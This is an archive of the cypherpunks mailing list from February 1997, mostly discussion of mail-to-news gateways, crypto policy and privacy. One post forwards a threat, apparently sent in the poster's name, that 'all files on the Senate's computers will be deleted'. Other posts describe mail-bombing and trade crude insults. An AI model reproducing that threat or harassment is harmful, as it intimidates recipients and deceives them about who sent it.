lieberman.senate.gov, senator at biden.senate.gov, bob_graham at graham.senate.gov, connie at mack.senate.gov, senator_coverdell at coverdell.senate.gov, senator at inouye.senate.gov, tom_harkin at harkin.senate.gov, chuck_grassley at grassley.senate.gov, larry_craig at craig.senate.gov, dirk_kempthorne at kempthorne.senate.gov, senator at moseley-braun.senate.gov, lugar at iquest.net, wendell_ford at ford.senate.gov, senator at mcconnell.senate.gov, senator at breaux.senate.gov, senator at kennedy.senate.gov, john_kerry at kerry.senate.gov, senator at mikulski.senate.gov, senator at sarbanes.senate.gov, Olympia at snowe.senate.gov, senator at levin.senate.gov, michigan at abraham.senate.gov, mail_grams at grams.senate.gov, senator at wellstone.senate.gov, john_ashcroft at ashcroft.senate.gov, kit_bond at bond.senate.gov, senator at cochran.senate.gov, max at baucus.senate.gov, conrad_burns at burns.senate.gov, senator at faircloth.senate.gov, jesse_helms at helms.senate.gov, senator at conrad.senate.gov, senator at dorgan.senate.gov, email at hagel96.com, bob at kerrey.senate.gov, mailbox at gregg.senate.gov, opinion at smith.senate.gov, frank_lautenberg at lautenberg.senate.gov, torricel at torricelli.com, Senator_Bingaman at bingaman.senate.gov, senator_domenici at domenici.senate.gov, senator at bryan.senate.gov, senator_reid at reid.senate.gov, senator_al at damato.senate.gov, senator at dpm.senate.gov, senator_dewine at dewine.senate.gov, senator_glenn at glenn.senate.gov, senator at nickles.senate.gov, senator at wyden.senate.gov, senator at santorum.senate.gov, senator_specter at specter.senate.gov, senator_chafee at chafee.senate.gov, reed at collegehill.com, senator at thurmond.senate.gov, senator at hollings.senate.gov, tom_daschle at daschle.senate.gov, senator_thompson at thompson.senate.gov, senator_frist at frist.senate.gov, senator at hutchison.senate.gov, senator at bennett.senate.gov, senator_hatch at hatch.senate.gov, senator_robb at robb.senate.gov, senator at warner.senate.gov, senator_leahy at leahy.senate.gov, vermont at jeffords.senate.gov, senator_murray at murray.senate.gov, Senator_Gorton at gorton.senate.gov, russell_feingold at feingold.senate.gov, senator_kohl at kohl.senate.gov, senator_byrd at byrd.senate.gov, senator at rockefeller.senate.gov, mike at enzi.senate.gov, craig at thomas.senate.gov names who got this message from the gang of cypherpunks. What is this ???? Forwarded message: > From home at collegehill.com Tue Feb 18 15:05:24 1997 > Message-Id: <3.0.32.19970218100100.00731388 at pop03.ca.us.ibm.net> > Precedence: bulk > X-Sender: chill03 at pop03.ca.us.ibm.net > X-Mailer: Windows Eudora Pro Version 3.0 (32) > Date: Tue, 18 Feb 1997 10:03:05 -0500 > To: alexandr at win.tue.nl > From: College Hill Internet > Subject: Address -- Invalid (was Re: message to USSA Senate) > Mime-Version: 1.0 > Content-Type: text/plain; charset="us-ascii" > > At 12:45 AM 2/18/97 PST, you wrote: > >All files on the Senate's computers will be deleted by our > >gang of cypherpunks dedicated to the eradication of your systems. > > > > I'm furious! Now I get about 10 messages every 15 minutes of mail delivered and lots of other trash. Who 's got the courage to admit this crime ? From camcc at abraxis.com Tue Feb 18 07:21:48 1997 From: camcc at abraxis.com (Alec) Date: Tue, 18 Feb 1997 07:21:48 -0800 (PST) Subject: Raph Message-ID: <3.0.1.32.19970218102257.006c3a48@smtp1.abraxis.com> -----BEGIN PGP SIGNED MESSAGE----- I have found it convenient to retrieve Raph's list off c'punks, as opposed to fingering. I do hope this service to the community will continue on one forum or another. Thanks. Alec -----BEGIN PGP SIGNATURE----- Version: 4.5 Comment: Message PGP 2.6.2. signed/encrypted. Public key available on request or from keyservers. iQCVAgUBMwnJQCKJGkNBIH7lAQFRHgQAtLqCK9vtYgLVp0bU9wSjUoiZ7Wx3ade6 PcQQtOeNSxYy7n5i6qQuAaOTg1rvStOBEYpIDnWHo7p8In1fQE2v0QaOMbYm60QG Kc/CsoHAvq74PHN6/QdQ6JatyzSVsHL5r7hBEJZQGSFr2DWdW7xTclpqSUtviHHB X6HtqBfk5Pc= =cIv9 -----END PGP SIGNATURE----- From jya at pipeline.com Tue Feb 18 07:26:03 1997 From: jya at pipeline.com (John Young) Date: Tue, 18 Feb 1997 07:26:03 -0800 (PST) Subject: FIPS 196 Message-ID: <199702181526.HAA05718@toad.com> NIST announced in the Federal Register today "that the Secretary of Commerce has approved a new standard, which will be published as FIPS Publication 196, Entity Authentication Using Public Key Cryptography." http://jya.com/fips196.txt (12K) From dthorn at gte.net Tue Feb 18 07:26:04 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 18 Feb 1997 07:26:04 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702181526.HAA05719@toad.com> drose at azstarnet.com wrote: > > To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being > subscribed to a million and one lists that I never knew I needed (and so > quick!--appreciate the service, dude) this address, like c-punks at toad.com, > is going away *real * quick, so save your keystrokes. My point has been proven once again! Another spineless coward pollutes the list with worthless criticism, and then slinks away from those s/he attacks like a mangy coyote. From dthorn at gte.net Tue Feb 18 07:26:07 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 18 Feb 1997 07:26:07 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702181526.HAA05730@toad.com> drose at azstarnet.com wrote: > My dear fellow: > I suppose you missed the notion that, on the Internet, *some* folks know > that you are a dog. If you, sir or madam, had 1/10 the brainpower that the most active subscribers to this list have, you would: 1. Understand the subtleties I put forth (ditto Toto and Dr. V). 2. Be able to filter who you don't want to read. 3. Help other less fortunates like yourself to learn filtering. It is you who pollute the list with worthless crap, which you falsely interpret as criticism, but which is actually a poor excuse for what you've failed to learn in life. A pox on you. From aga at dhp.com Tue Feb 18 07:26:09 1997 From: aga at dhp.com (aga) Date: Tue, 18 Feb 1997 07:26:09 -0800 (PST) Subject: Cypherpunks FAQ Message-ID: <199702181526.HAA05736@toad.com> On Mon, 17 Feb 1997, Dale Thorn wrote: > Date: Mon, 17 Feb 1997 17:12:19 -0800 > From: Dale Thorn > Reply-To: freedom-knights at jetcafe.org > To: freedom-knights at jetcafe.org > Cc: cypherpunks at toad.com > Subject: Re: Cypherpunks FAQ > > Toto wrote: > > ISP_Ratings wrote: > > > Yes--and given the role Dr. Vulis has played in this matter > > > it would be most appropriate for him to write an FAQ (although > > > I personally ignore most FAQs). > > >Perhaps it would be more appropriate for the good doctor to write a FUQs. > > Why not do it like the Declaration of Independence? A primary author > puts the basic document together, and other persons with expertise in > other important areas add to it, then it gets circulated on the list > for comments and suggestions. > > "Other areas" not normally addressed in these kinds of documents > should include subscribers' awareness that the crypto lists are > a prime target of attention from federal agencies, et al, and > that much of the material posted could be pure disinformation. > I do not think that any Federal Agency would be interested in any group so undisciplined as cypherpunks. From gbroiles at netbox.com Tue Feb 18 07:26:14 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 18 Feb 1997 07:26:14 -0800 (PST) Subject: Message-Id / mail2news gateways. Message-ID: <199702181526.HAA05746@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 08:59 PM 2/17/97 -0800, Anil Das wrote: >1) Please preserver Message-Ids while resending messages. Yes, this is absolutely crucial if many different systems are going to cooperatively deal with messages. Message-ID changing is very bad. I sent a Perl script to Lance (copies to others on request) which can be easily used as the target of an /etc/aliases entry to gate a mailing list into inews (and thereby into INN) for processing as a netnews message. (The script preserves Message-ID.) If we preserve Message-ID's, many sites can have local mail-news gateways, and we won't (globally) see duplicates. >2) In response to Igor's query, I would very much like at least >on of the distributed lists to be set up such that messages sent >there will *not* be gatewayed to Usenet. I don't think this is practical - as I understand things, the corpus (bolus?) of messages will be available to all comers for their own projects, which may include mail-news gateways, archives, filtered lists, and so forth(*). People who send messages to the list shouldn't expect that they'll have any "privacy" in information sent there. (* Modulo copyright, but apparently the industry standards for copyright issues are: 1. Ignore them and hope they go away 2. Pretend to seize control over IP rights of everything posted neither of which works very well or makes any sense, legally speaking.) For what it's worth, the list has been gated to two public newsgroups - albeit not in the Big 7 or alt. - for quite some time. If you think your name isn't on Usenet, and you've been sending messages to the list, think again. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMwl1KP37pMWUJFlhAQHr+Qf+Jpo20Rl9RWAtsWFu7uJ2TYvIySYxrqCi A0Ac54oQSuuzYV6diH+pddilzTSjNS9DgVRC/lkC1C64cIZLp9fb1I3gX25Wfyns DnUvXPRLAD3A54imgkVxojr3ywD8YIn1QqQlVfh2yazJ6ysf0rFgQFcm3mMZxDqx 3MTl5x4sFo/CQPmYtGamZXEC59U2KW3iOaMiIESX3BjaK/92w9ptP44L0KqNcFqI tpNlUwmjXlqi1CTInVnVUHT79pF/OCYwxzbb0hPL4OcSlEZGPcj8cf/KGKL3cyBp hzIgjGPlfklXjCbvGBwi/9NUJEu9ARJVM+4Ie6ajDQWlzgPTO7w2zw== =wifQ -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From apb at iafrica.com Tue Feb 18 07:36:12 1997 From: apb at iafrica.com (Alan Barrett) Date: Tue, 18 Feb 1997 07:36:12 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? In-Reply-To: <19970218141819.28530.qmail@taz.nceye.net> Message-ID: On 18 Feb 1997, Bryan Reece wrote: > Filtering out other gateways' messages will reduce load at > the possible expense of delay (assuming a smallish network of news > servers that feed each other the list; obviously the message will > flood the majordomo net before it floods the real usenet unless > something is seriously broken). Why is it obvious that mail propagation will be faster than news propagation? News propagation times of small numbers of seconds are not at all uncommon. --apb (Alan Barrett) From edgarswank at juno.com Tue Feb 18 07:38:09 1997 From: edgarswank at juno.com (Edgar W Swank) Date: Tue, 18 Feb 1997 07:38:09 -0800 (PST) Subject: Any more like www.anonymizer.com ?? Message-ID: <19970218.073526.2862.2.edgarswank@juno.com> Does anyone have a list of web proxies for anonymous surfing? I already know about www.anonymizer.com, and there was a "canadianizer" that would alter text to make it more "Canadian", but that is now apparently defunct. Reason I need to know, a friend in a foreign country has to deal with a web proxy that blocks "objectionable" sites including www.anonymizer, so some alternates that might not be blocked would be welcome. Edgar W. Swank (preferred) Edgar W. Swank (for files/msgs >50K) Home Page: http://members.tripod.com/~EdgarS/index.html From camcc at abraxis.com Tue Feb 18 07:41:01 1997 From: camcc at abraxis.com (Alec) Date: Tue, 18 Feb 1997 07:41:01 -0800 (PST) Subject: Raph Message-ID: <199702181541.HAA06032@toad.com> -----BEGIN PGP SIGNED MESSAGE----- I have found it convenient to retrieve Raph's list off c'punks, as opposed to fingering. I do hope this service to the community will continue on one forum or another. Thanks. Alec -----BEGIN PGP SIGNATURE----- Version: 4.5 Comment: Message PGP 2.6.2. signed/encrypted. Public key available on request or from keyservers. iQCVAgUBMwnJQCKJGkNBIH7lAQFRHgQAtLqCK9vtYgLVp0bU9wSjUoiZ7Wx3ade6 PcQQtOeNSxYy7n5i6qQuAaOTg1rvStOBEYpIDnWHo7p8In1fQE2v0QaOMbYm60QG Kc/CsoHAvq74PHN6/QdQ6JatyzSVsHL5r7hBEJZQGSFr2DWdW7xTclpqSUtviHHB X6HtqBfk5Pc= =cIv9 -----END PGP SIGNATURE----- From toto at sk.sympatico.ca Tue Feb 18 07:41:24 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 18 Feb 1997 07:41:24 -0800 (PST) Subject: Drose / You're a fucking idiot! Message-ID: <199702181541.HAA06048@toad.com> drose at azstarnet.com wrote: > To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being > subscribed to a million and one lists that I never knew I needed (and so > quick!--appreciate the service, dude) this address, like c-punks at toad.com, > is going away *real * quick, so save your keystrokes. I generally try to be fairly civil in my postings, and refrain from personal insults, but I will make an exception, here. So listen up, shit-for-brains, and I will try to explain a few concepts that you seem to be too dim-witted to understand. I am a CypherPunk. I have a key, and I know how to use it. When my personal account is subjected to spam-attacks and unwanted subscriptions to a multitude of lists, I deal with it. I don't make baseless accusations against others based on their perceived public reputation, or my own subjective perception of their reputation capital. I am not just a CypherPunk, I am also an adult. I take responsibility for my own actions, and I keep those actions within the bounds of what I perceive to be acceptable ethics and personal integrity. If you think that I am responsible for this-or-that action in regard to yourself, then all you have to do is ask me, and I will tell you. I don't make any bones about my beliefs and views, and I don't have any problem with others opposing my beliefs and views. When I launch an attack on someone, right or wrong, it is a frontal assault, not a hidden one. When I post anonymously to the list, or send anonymous email, I do not use remailers, in order that anyone with the will and wit to do so may easily discern my pseudonyms through the headers and use of the 'trace' command. If you think that I am the source of your problems, then you are a fucking idiot. I have no idea who you are, and can only vaguely recall the content or context of your past posts to the list. As such, I would certainly have little motivation for lifting even my little pinkie against you in a conspiratorial attack on you. I would suggest that the only 'fixations' involved between you and myself are coming from your end of the electromagnetic spectrum. I would also suggest that you get your head out of your electromagnetic rectum. Toto From csla at intersurf.com Tue Feb 18 07:41:26 1997 From: csla at intersurf.com (Jeff A. Hale) Date: Tue, 18 Feb 1997 07:41:26 -0800 (PST) Subject: European crypto export policy Message-ID: <199702181541.HAA06054@toad.com> At 02:39 AM 2/18/97 +0100, you (Ulf M=F6ller) wrote: >Swedish Datateknik 97-02 features an article about how COCOM/ Wassenaar >Arrangement effects Swedish crypto exports. > >I wonder if someone whose Swedish is better than mine could summarize >the article? It is at http://www.et.se/datateknik/arkiv/97-02/5.html > >Datateknik 97-01 reports about pressure for crypto regulations from >the US, but also from the EU and OECD [the OECD turned out not to >endorse key escrow shortly after the article was published]. The >Swedish government is currently collecting facts and opinions; so far >it remains an open question which standpoint it will take. England is >preparing a law similar to the French one, while there are policy >discussions similar to the Swedish going on in Germany and Denmark, >says G=F6ran Axelsson, Sweden's representative in the EU's IT security >body. The Japanese are not far behind. Using the emotional -- and often successful -- pretext of "anti-terrorism," (the subway gassing allegedly committed by the "Aum Cult"), the Japanese Ministry of Justice (JMOJ) is about to propose a sweeping new wiretapping/electronic eavesdropping statut= e -- which insiders predict will sail through the Diet (national legislature)= From vin at shore.net Tue Feb 18 07:41:31 1997 From: vin at shore.net (Vin McLellan) Date: Tue, 18 Feb 1997 07:41:31 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702181541.HAA06067@toad.com> >(And I always thought the "woman's right to privacy" argument for abortion >was flaky. Accepting such an argument, wouldn't infanticide be equally >protected by a woman's right to privacy?) > >--Tim May Whoa! This begs a thoughful response, but I don't have time right now. Might it suffice to suggest that a privacy claim -- a demand for control over what concerns her, her alone, or (on balance) her more than any other -- seems reasonable to extend to both contraception and early abortion? For many of us, by the same logic, and with the same moral comfort. (As the clock slips onward, and the potential viability of the fetus becomes more likely or certain, I personally believe the woman no longer exists alone, and the privacy argument becomes conflicted and more tenuous. But Tim's golem, Infanticide, is a creature of nightmare -- wholly beyond the pale!) To my mind, any attempt to control what is done to the woman's body (by her choice) while the prospective child is but a bit of enhanced potential, much much less than a viable child, is an unconstitutional and morally-invalid attempt by others (the state, the church, the country club) to pre-empt her will, and prescribe or dictate a wholly new value system for her. Any claim (by the father, the state, the church, etc.) to control what happens in the moments or days after conception (say, forbidding RU-whatever, the French drug,) has no more moral authority than any similar claim to Higher Authority -- to safeguard the potential within her -- which is used to forbid his or her the use of a contraceptive, or which requires him or her to take a drug which makes multiple pregnancies more likely. I always thought the Jesuits had the logical argument straight. If the woman has no inherent right to control her destiny in the languid aftermath of intercourse (just because she has within herself the potential of a new life) then she has no claim to self-possession which allows her to use a contraceptive just before intercourse. If it is the potential for new life that allows external authorities to overwhelm her judgment and violate her privacy, then the case for that Papal Judgement exists before, during, and after sex. Problem is: while logical, the Catholic argument seems silly, authoritarian, and hopelessly abstract in the face of what many of us experience as a less dogmatic and vastly more human context. A context in which the right to privacy or self-possession seems inherent in the people we are, the people we know, the world as we live it. (Jesuits have a certain disadvantage, from this POV;-) The fact that this claim of privacy or self-possession apparently has an echo in the US Constitution (that oh, so-prescient document!) -- and in the libertarian/liberal proclamations of numerous other nation states -- is a validation, a confirmation... but the Right of privacy, the Claim, is inherent in our sense of who we are, and our sense of what an individual is. If the philosophers had not considered it in their musings, we would have to fight harder; we would need to define it as well as defend it -- but it can only be denied if we denied ourselves, as the serfs of the Dark Ages were expected to... and did. Women as vessels. Men as vassals. Suerte, _Vin Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 From alexandr at win.tue.nl Tue Feb 18 07:41:33 1997 From: alexandr at win.tue.nl (Alexandra Janssen - Raemaekers) Date: Tue, 18 Feb 1997 07:41:33 -0800 (PST) Subject: Address -- Invalid (was Re: message to USSA Senate) (fwd) Message-ID: <199702181541.HAA06068@toad.com> I really don't know what this is all about!!!! This is one of the messages that I seemed to have sent...... I can give you about Apparently-To: vice.president at whitehouse.gov, first.lady at whitehouse.gov, Bclinton at Washington.DC, feedback at www.whitehouse.gov, Senator_Stevens at stevens.senate.gov, email at murkowski.senate.gov, sessions at wrldnet.net, senator at shelby.senate.gov, senator at bumpers.senate.gov, info at kyl.senate.gov, Senator_McCain at mccain.senate.gov, senator at boxer.senate.gov, senator at feinstein.senate.gov, sen_dodd at dodd.senate.gov, senator_lieberman at lieberman.senate.gov, senator at biden.senate.gov, bob_graham at graham.senate.gov, connie at mack.senate.gov, senator_coverdell at coverdell.senate.gov, senator at inouye.senate.gov, tom_harkin at harkin.senate.gov, chuck_grassley at grassley.senate.gov, larry_craig at craig.senate.gov, dirk_kempthorne at kempthorne.senate.gov, senator at moseley-braun.senate.gov, lugar at iquest.net, wendell_ford at ford.senate.gov, senator at mcconnell.senate.gov, senator at breaux.senate.gov, senator at kennedy.senate.gov, john_kerry at kerry.senate.gov, senator at mikulski.senate.gov, senator at sarbanes.senate.gov, Olympia at snowe.senate.gov, senator at levin.senate.gov, michigan at abraham.senate.gov, mail_grams at grams.senate.gov, senator at wellstone.senate.gov, john_ashcroft at ashcroft.senate.gov, kit_bond at bond.senate.gov, senator at cochran.senate.gov, max at baucus.senate.gov, conrad_burns at burns.senate.gov, senator at faircloth.senate.gov, jesse_helms at helms.senate.gov, senator at conrad.senate.gov, senator at dorgan.senate.gov, email at hagel96.com, bob at kerrey.senate.gov, mailbox at gregg.senate.gov, opinion at smith.senate.gov, frank_lautenberg at lautenberg.senate.gov, torricel at torricelli.com, Senator_Bingaman at bingaman.senate.gov, senator_domenici at domenici.senate.gov, senator at bryan.senate.gov, senator_reid at reid.senate.gov, senator_al at damato.senate.gov, senator at dpm.senate.gov, senator_dewine at dewine.senate.gov, senator_glenn at glenn.senate.gov, senator at nickles.senate.gov, senator at wyden.senate.gov, senator at santorum.senate.gov, senator_specter at specter.senate.gov, senator_chafee at chafee.senate.gov, reed at collegehill.com, senator at thurmond.senate.gov, senator at hollings.senate.gov, tom_daschle at daschle.senate.gov, senator_thompson at thompson.senate.gov, senator_frist at frist.senate.gov, senator at hutchison.senate.gov, senator at bennett.senate.gov, senator_hatch at hatch.senate.gov, senator_robb at robb.senate.gov, senator at warner.senate.gov, senator_leahy at leahy.senate.gov, vermont at jeffords.senate.gov, senator_murray at murray.senate.gov, Senator_Gorton at gorton.senate.gov, russell_feingold at feingold.senate.gov, senator_kohl at kohl.senate.gov, senator_byrd at byrd.senate.gov, senator at rockefeller.senate.gov, mike at enzi.senate.gov, craig at thomas.senate.gov names who got this message from the gang of cypherpunks. What is this ???? Forwarded message: > From home at collegehill.com Tue Feb 18 15:05:24 1997 > Message-Id: <3.0.32.19970218100100.00731388 at pop03.ca.us.ibm.net> > Precedence: bulk > X-Sender: chill03 at pop03.ca.us.ibm.net > X-Mailer: Windows Eudora Pro Version 3.0 (32) > Date: Tue, 18 Feb 1997 10:03:05 -0500 > To: alexandr at win.tue.nl > From: College Hill Internet > Subject: Address -- Invalid (was Re: message to USSA Senate) > Mime-Version: 1.0 > Content-Type: text/plain; charset="us-ascii" > > At 12:45 AM 2/18/97 PST, you wrote: > >All files on the Senate's computers will be deleted by our > >gang of cypherpunks dedicated to the eradication of your systems. > > > > I'm furious! Now I get about 10 messages every 15 minutes of mail delivered and lots of other trash. Who 's got the courage to admit this crime ? From reece at taz.nceye.net Tue Feb 18 07:43:18 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Tue, 18 Feb 1997 07:43:18 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702181543.HAA06112@toad.com> E. Allen Smith writes: > From: IN%"reece at taz.nceye.net" "Bryan Reece" 17-FEB-1997 23:23:10.06 > > >> use. However, I do have one problem with this recipe: lack of > >> loop prevention if a news2mail gateway is going in the other direction. > > >All the mailing-list hosts are supposed to check for duplicates before > >forwarding anything, so this shouldn't do anything worse than have a > >few extra copies of each post get discarded, loading the network and > >the hosts a bit more. But posting the list to a widely-distributed > > Umm... IIRC, the only person who's announced how he's filtering > for duplicates is Igor, and he's just checking for messageIDs. Won't > those get chunked on going through a mail2news gateway, and thus > possibly come back through a news2mail gateway? My script preserves the Message-ID, assuming that the incoming message has one. Other gateways I've seen also appear to preserve Message-ID lines (or at least messages posted through them appear to have mail-like ID lines). > The filtering > mechanism could be improved via MD5 digests, etcetera (someone's > already given a recipe for such; thank you), but even so various > mungings could still set up a mailing loop. (Yes, I'm paranoid > about those; I may have been reading list-managers for too long and > seen too many stories on there.) The sensible place to keep > track of possible duplicates is at the gateway; it can > certainly filter based on that it (or, for that matter, another > known bidirectional gateway) sent a message out. Not immediately sending a message back to the host that it came from does look like a good idea (it came from foo.com, so foo.com obviously has it). Filtering out other gateways' messages will reduce load at the possible expense of delay (assuming a smallish network of news servers that feed each other the list; obviously the message will flood the majordomo net before it floods the real usenet unless something is seriously broken). > > >newsgroup seems wrong for noise (both to the list itself and to > >posters) and delay reasons. > > Delay reasons being that mail will go to Usenet, go > all over the place there, and then get replied to later than if > it were just on the mailing list(s)? A potential problem, yes. I didn't exactly say, but I was comparing a small network of news servers feeding each other cypherpunks.list to, say, alt.cypherpunks.list. > But (especially given the options I mentioned below), this > would appear to be a matter for individual users to decide > by which list they go with and any added control headers. I'm trying to come up with a way to provide NNTP access (and an experimental alternative to the net-of-majordomos) that won't offend anybody too much. I can filter out messages that the authors don't want sent out; I'd prefer to deal with what would make the authors want the messages filtered out instead. > Maximum individual sovreignty (sp?). > > >> In regards to your later query about whether people want their postings > >> going to Usenet, might I suggest that this be individual to the given > >> distributed mailing list? In other words, since the recipe is logically > >> going to have to not forward to a gateway messages from other mailing > >> lists (since it's not a good idea to have multiple copies of the same > >> message arriving at the gateway if it can be helped; better to filter > >> it out beforehand), > > >It doesn't seem an especially bad idea, since it > > Thank you. Were you cut off? Yes. Should have read: It doesn't seem an especially bad idea to send a gateway multiple copies of the same message, since theextra messages won't increase the load much but will increase the reliability and decrease the propagation time compared to a network where there are no duplicates. The only case where filtering duplicates is certain not to hurt delay or reliability is when the gateway in question is known to have a copy of the message already. Usenet uses the Path header for this; there doesn't seem to be such a thing in the majordomo net. > >> some of the mailing lists can forward and the > >> others cannot. (One could even determine this behavior on application > >> of the proper X-header, although I never trust various mailing systems > >> to forward such intact.) The same could also be done with gatewaying > >> _from_ Usenet - if the news2mail gateway feeds to whatever individual > >> lists sign up to it and they _don't_ forward such messages to others, > >> people can decide whether or not to receive Usenet postings on > >> alt.cypherpunks.* by which list they subscribe to. > > >The code currently running is a perl script that turns typical email > >messages into something INN is happy with. It is probably possible to > >get your message rejected by INN if you put obsolete or otherwise > >unusual and illegal headers in. This may be a bug. > > That would probably depend on: A. if any other circumstances > other than deliberately sabotaging your message's translation would > also disrupt its chances of getting through seriously, particularly > if they weren't something you'd spot; and The main way to get a message rejected seems to be using obsolete news headers on it. If you don't want your message posted, add a Posting-Version line to the header. > B. if sufficiently bad > messages would disrupt INN's operations too much. No more so than a sufficiently bad news posting that came in over NNTP (since the mails do turn into news postings over NNTP). From japhy at enteract.com Tue Feb 18 07:55:44 1997 From: japhy at enteract.com (Japhy Ryder) Date: Tue, 18 Feb 1997 07:55:44 -0800 (PST) Subject: ##$!@#$#@!$# Message-ID: <199702181555.JAA20595@enteract.com> cual es la fecha? czesc, tak mal na dodjze kajka.... -- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAzLvsCAAAAEEANHTflxW1D4mB/h3dnEV7K1jzXvmBOrSh+EHbkCn+ZjLislg LW51QG9CuS81VaHx75xdxV1C11RXJybaqqrtT186aQfmEuTQP0rLJYy859xdHpcu DldUZ9ry3xXACtQAk3bPlvo6Yd3TmucoPXDl55w95Hru+H7TIzR2UortBxKZAAUR tAtKYXBoeSBSeWRlcg== =0WVf -----END PGP PUBLIC KEY BLOCK----- From camcc at abraxis.com Tue Feb 18 08:15:22 1997 From: camcc at abraxis.com (Alec) Date: Tue, 18 Feb 1997 08:15:22 -0800 (PST) Subject: alt.cypherpunks.ebonics Message-ID: <3.0.1.32.19970218111658.006c4174@smtp1.abraxis.com> -----BEGIN PGP SIGNED MESSAGE----- Igor, A friend, who, in the CP tradition requested to remain anonymous, and I were doing an informal analysis of those subjects/topics which over the past year generated the most discussion and, by implication, interest on the CP list. Since the list at that time was reportedly unmoderated, we felt some weight should be given to members' interests/desires as measured by their posts, regardless of the applicability to the list topic. With the exceptions of AP (oh so clearly way off-topic), list censorship (too tedious), and remarks either questioning or affirming the sexuality/virility/femininity (or lack thereof ) of almost every CP subscriber, the topic which claimed the most bandwidth was Ebonics. It seemed to touch on several layers of CP interest: freedom of speech, obfuscation, tolerance, intolerance, phonetics, linguistics, race warfare, etc. You name it; just about every well-known c'punk jumped in to make some urbane statement on this, sadly, now dead and ignored issue. Nevertheless, the bandwidth was there! Note; any messages followed by Punctuation Art were excluded if they seemed to lack "dignity," for want of a better word. Based on the above stats (available from my friend on request), my anonymous friend and I request that you add Ebonics as an area of interest to Cypherpunks in your List Intro. Please judge this request on its merit and not on what you may think of me or my anonymous (asexual) friend personally, thereby, by that very action, initiating a New Order of Cypherpunks! Thanks for you consideration. More importantly, thank you for helping to keep this vibrant list alive. Alec (and friend) -----BEGIN PGP SIGNATURE----- Version: 4.5 Comment: Message PGP 2.6.2. signed/encrypted. Public key available on request or from keyservers. iQCVAgUBMwnVrSKJGkNBIH7lAQEl9gP/XIujtLKrVf2l7MaR50rM/BO9wCkYQeHy 7UoISphHlxs8PScnxkw6PQsVHerd+FnxPJQ2xAnCa1gUujxuif8OrsYpInVcfEap 99KkC39DzAe+/zHrOR2Kt7MK+X8267oCIWl4Yt1VBkCSt8ruktCnIXF41ghyuHUt 3N7reRPx6Hs= =EMeF -----END PGP SIGNATURE----- From tcmay at got.net Tue Feb 18 08:16:01 1997 From: tcmay at got.net (Timothy C. May) Date: Tue, 18 Feb 1997 08:16:01 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? In-Reply-To: <19970218141819.28530.qmail@taz.nceye.net> Message-ID: At 5:35 PM +0200 2/18/97, Alan Barrett wrote: >On 18 Feb 1997, Bryan Reece wrote: >> Filtering out other gateways' messages will reduce load at >> the possible expense of delay (assuming a smallish network of news >> servers that feed each other the list; obviously the message will >> flood the majordomo net before it floods the real usenet unless >> something is seriously broken). > >Why is it obvious that mail propagation will be faster than news >propagation? News propagation times of small numbers of seconds are not >at all uncommon. News propagation in seconds to your _local server_, or to _distant_ servers? Articles I post do indeed appear "immediately" on my local site, but certainly not so immediately on distant sites. The Usenet is thousands of news servers, maybe tens of thousands, and news feeds take a while...small articles are mixed in with hundreds of megabytes a day of binaries. A percolation process, as opposed to a point-to-point process for e-mail. And I know that my site sometimes does not see articles for tens of hours, even days, after the initial act of distribution. (Sometimes articles appear more than a week late...presumably they've been lost to mu site on some railroad siding someplace.) This is why people say "News is slower than mail." --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From apb at iafrica.com Tue Feb 18 08:27:34 1997 From: apb at iafrica.com (Alan Barrett) Date: Tue, 18 Feb 1997 08:27:34 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? In-Reply-To: Message-ID: > >Why is it obvious that mail propagation will be faster than news > >propagation? News propagation times of small numbers of seconds are not > >at all uncommon. > > News propagation in seconds to your _local server_, or to _distant_ > servers? To some (perhaps many, certainly not all) distant servers, provided all the news servers in the path run appropriate software (designed for low latency propagation) and have reasonably high bandwidth Internet links. Disk to disk delays smaller than 1 second have been measured between news servers that use software such as nntplink or innfeed to send outgoing articles immediately. > The Usenet is thousands of news servers, maybe tens of thousands, and > news feeds take a while...small articles are mixed in with hundreds of > megabytes a day of binaries. A percolation process, as opposed to a > point-to-point process for e-mail. Right. And some of those news links are fast, while others are slow. If two sites happen to be connected by fast news links, it's quite possible for news between those sites to be faster than mail. --apb (Alan Barrett) From geer at OpenMarket.com Tue Feb 18 08:30:01 1997 From: geer at OpenMarket.com (Dan Geer) Date: Tue, 18 Feb 1997 08:30:01 -0800 (PST) Subject: DES and RSA crypto hardware from the free world In-Reply-To: <85595791717269@cs26.cs.auckland.ac.nz> Message-ID: <199702181629.LAA10709@waterville.openmarket.com> These chips look *very* promising. Who needs Clipper, or HP's Clipper-under-another-name, when you can get triple DES from the free world at prices like this? The critical thing is to get the horse out of the barn before the door is barred. Each and every one of these sorts of vendors has to establish use and distribution on a wide basis before governments of any stripe start locking down on domestic use. There is little time and, yes, I am a paranoid who hopes thereby to survive. --dan From apb at iafrica.com Tue Feb 18 08:52:03 1997 From: apb at iafrica.com (Alan Barrett) Date: Tue, 18 Feb 1997 08:52:03 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? In-Reply-To: Message-ID: Bryan Reece wrote: >> obviously the message will flood the 